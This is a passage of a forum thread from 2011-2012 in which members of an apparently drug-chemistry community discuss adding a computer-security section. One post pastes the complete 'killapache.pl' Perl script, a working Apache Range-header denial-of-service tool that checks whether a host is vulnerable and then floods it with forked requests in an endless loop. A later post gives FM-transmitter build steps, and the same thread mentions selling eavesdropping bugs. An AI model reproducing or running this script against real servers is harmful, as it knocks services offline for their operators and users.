Poll

Should a "Computer Science" section be added the The Vespiary?

Absolutely Not!
0 (0%)
No
0 (0%)
Maybe/Not Sure
1 (7.7%)
Yes
7 (53.8%)
Yes, Absolutely!
5 (38.5%)

Total Members Voted: 13

Author Topic: Computer Section?  (Read 203 times)

Dr. Tox

  • In Stasis: See You In A Few Years!
  • Subordinate Wasp
  • ***
  • Posts: 145
Re: Computer Section?
« Reply #20 on: November 30, 2011, 12:54:00 PM »
I built and sold bugs to pay my bus fare while going to school.

The bitch about using them around you is you wind up hearing things you'd rather not.

It cuts both ways.

And no, lol, I'm not LE. I'm a felon.
Alimentary, dear Watson; I had a gut feeling.

Vesp

  • Administrator
  • Foundress Queen
  • *****
  • Posts: 3,130
Re: Computer Section?
« Reply #21 on: December 01, 2011, 02:43:29 AM »
Is this good and inclusive to what everyone wants?


Computer Security & Technological issues
Discuss computer issues such as security, online anominity, exploits, and designing of new tools.


Not too sure how well everything fits in there, but its the best I can come up with at the moment, so any advice would be welcome - I will modify it if I find another thing more suitable.

Bitcoin address: 1FVrHdXJBr6Z9uhtiQKy4g7c7yHtGKjyLy

Dr. Tox

  • In Stasis: See You In A Few Years!
  • Subordinate Wasp
  • ***
  • Posts: 145
Killing Apache Servers
« Reply #22 on: December 01, 2011, 02:45:26 PM »
Killing Apache Servers: One man kill for damn near anything. Written in Perl
http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110820/848b4dca/attachment.obj

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
   print "Apache Remote Denial of Service (memory exhaustion)\n";
   print "by Kingcope\n";
   print "usage: perl killapache.pl <host> [numforks]\n";
   print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
   
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
   $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;    
   
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                               Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                               Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
   print "host seems vuln\n";
   return 1;   
} else {
   return 0;   
}
}

if ($#ARGV < 0) {
   usage;
   exit;   
}

if ($#ARGV > 1) {
   $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
   print "Host does not seem vulnerable\n";
   exit;   
}
while(1) {
killapache();
}
Alimentary, dear Watson; I had a gut feeling.

Vesp

  • Administrator
  • Foundress Queen
  • *****
  • Posts: 3,130
Re: Computer Section?
« Reply #23 on: December 01, 2011, 10:59:14 PM »
^Was this for the tor server thread?
Bitcoin address: 1FVrHdXJBr6Z9uhtiQKy4g7c7yHtGKjyLy

Dr. Tox

  • In Stasis: See You In A Few Years!
  • Subordinate Wasp
  • ***
  • Posts: 145
Re: Computer Section?
« Reply #24 on: December 01, 2011, 11:16:57 PM »
Oh crap, that is were the debate over apache was going on wasn't it? Sorry. Well, really, it should be it's own thing in the coming security forum...
Alimentary, dear Watson; I had a gut feeling.

Vesp

  • Administrator
  • Foundress Queen
  • *****
  • Posts: 3,130
Re: Computer Section?
« Reply #25 on: December 01, 2011, 11:29:22 PM »
But is there a better title/description for the section than...
Computer Security & Technological issues
Discuss computer issues such as security, online anominity, exploits, and designing of new tools.

?
Bitcoin address: 1FVrHdXJBr6Z9uhtiQKy4g7c7yHtGKjyLy

lugh

  • Global Moderator
  • Foundress Queen
  • *****
  • Posts: 876
Re: Computer Section?
« Reply #26 on: December 02, 2011, 02:13:01 AM »
The computer related section on the Hive that was created to get those posts off the Couch was called The Server Room, perhaps the section here could be a variation such as The Server Farm  8)
Chemistry is our Covalent Bond

Dr. Tox

  • In Stasis: See You In A Few Years!
  • Subordinate Wasp
  • ***
  • Posts: 145
Re: Computer Section?
« Reply #27 on: December 02, 2011, 03:03:22 AM »
But is there a better title/description for the section than...
Computer Security & Technological issues
Discuss computer issues such as security, online anominity, exploits, and designing of new tools.

?

"Electronic Security" pretty much covers it all.
Alimentary, dear Watson; I had a gut feeling.

fresh1

  • conspirator
  • Dominant Queen
  • ****
  • Posts: 339
Re: Computer Section?
« Reply #28 on: December 02, 2011, 05:09:28 PM »
what about   The "Techtronix"  section,  discussing all electronic and security issues,  and leave Law and security where it is, because it can still cover the other law related topics, and just migrate the computer related topics into this new thread?

Maybe change the Law and Security, to "All things Legal", or something like that ::)
« Last Edit: December 02, 2011, 05:11:52 PM by fresh1 »
"Curiosity is a gift"

Wizard X

  • Lord of the Realms
  • Foundress Queen
  • *****
  • Posts: 1,224
Re: Computer Section?
« Reply #29 on: January 02, 2012, 01:57:55 AM »
FM transmitter using UPC1651. http://www.circuitstoday.com/fm-transmitter-using-upc1651

Description. Here is the circuit diagram of an FM transmitter using the IC UPC1651. UPC1651 is a wide band UHF Silicon MMIC amplifier. The IC has a broad frequency response to 1200MHz and power gain up to 19dB.The IC can be operated from 5V DC.
The audio signals picked by the microphone are fed to the input pin (pin2) of the IC via capacitor C1. C1 acts as a noise filter. The modulated FM signal will be available at the output pin (pin4) of the IC. Inductor L1 and capacitor C3 forms the necessary LC circuit for creating the oscillations. Frequency of the transmitter can be varied by adjusting the capacitor C3.

The circuit can be assembled on a Vero board.
Inductor L1 can be made by making 5 turns of 26SWG enameled copper wire on a 4mm diameter plastic former.
A ¾ meter insulated copper wire can be used as the antenna.
Do not give more than 6V to the IC.
Mic M1 can be a condenser microphone.

Albert Einstein - "Great ideas often receive violent opposition from mediocre minds."

Wizard X

  • Lord of the Realms
  • Foundress Queen
  • *****
  • Posts: 1,224
Re: Computer Section?
« Reply #30 on: January 17, 2012, 04:32:54 AM »
Albert Einstein - "Great ideas often receive violent opposition from mediocre minds."